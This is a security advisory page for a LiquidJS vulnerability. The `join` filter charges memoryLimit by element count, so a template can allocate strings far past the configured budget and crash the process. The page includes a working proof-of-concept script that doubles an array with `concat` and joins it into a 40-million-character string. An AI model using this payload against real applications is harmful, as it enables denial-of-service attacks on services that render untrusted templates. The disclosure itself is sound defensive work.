GHSA-4r6h-5v86-94p3

    Dashboard / Vulnerabilities / GHSA-4r6h-5v86-94p3

    GHSA-4r6h-5v86-94p3

    Published: 8 Sept 2026Last Modified: 8 Sept 2026

    Summary: LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process

    Details: ### Summary The `join` filter (`src/filters/array.ts:8-13`) charges `memoryLimit` by array element **count**, not by the string length it produces, letting a template bypass a configured `memoryLimit` and allocate strings far past budget — bounded only by V8/process limits, not by `memoryLimit`. ### Details ```js // src/filters/array.ts:8-13 export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) { const array = toArray(v) const sep = isNil(arg) ? ' ' : stringify(arg) const complexity = array.length * (1 + sep.length) // element COUNT, not element sizes this.context.memoryLimit.use(complexity) return array.join(sep) // allocates sum(element lengths) + separators }) ``` `concat` (`array.ts:72`) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. `join` is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (`array.length`) doesn't reflect that. Same undercounting class as already-fixed `replace` (GHSA-mmg9-6m6j-jqqx), `replace_first` (GHSA-6q5m-63h6-5x4v), `date`/strftime (GHSA-hh27-hf48-9f5q) — `join` wasn't covered. Sibling `array_to_sentence_string` (`src/filters/string.ts:210`) has the identical defect. ### PoC Live-reproduced against `[email protected]`, Node v24.3.0. ```javascript const { Liquid } = require('liquidjs'); const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense const E = 5000, DOUBLINGS = 13; const chunk = 'a'.repeat(E); let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`; for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`; const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked console.log('output length:', len); // output length: 40960000 ``` Verified by binary-search on `memoryLimit`: render is **blocked at 29573**, **succeeds at 29574** — confirming total charge across `split`+13×`concat`+`join` is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: **40,960,000** — **1385x** the total charged, >4x the configured 10,000,000-unit limit. Scaling `DOUBLINGS` grows output exponentially for linear charge growth, driving toward gigabytes and a `RangeError: Invalid string length` / V8 OOM crash. ### Impact Any app rendering attacker-influenced templates with `memoryLimit` set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. `split`/`concat` are correctly charged; the gap is `join`'s own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that `join`'s charge is wrong relative to what it allocates.)

    Affected packages

    Package

    Name: liquidjs

    Purl: pkg:npm/liquidjs

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -10.27.2

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-4r6h-5v86-94p3 | CVE-DB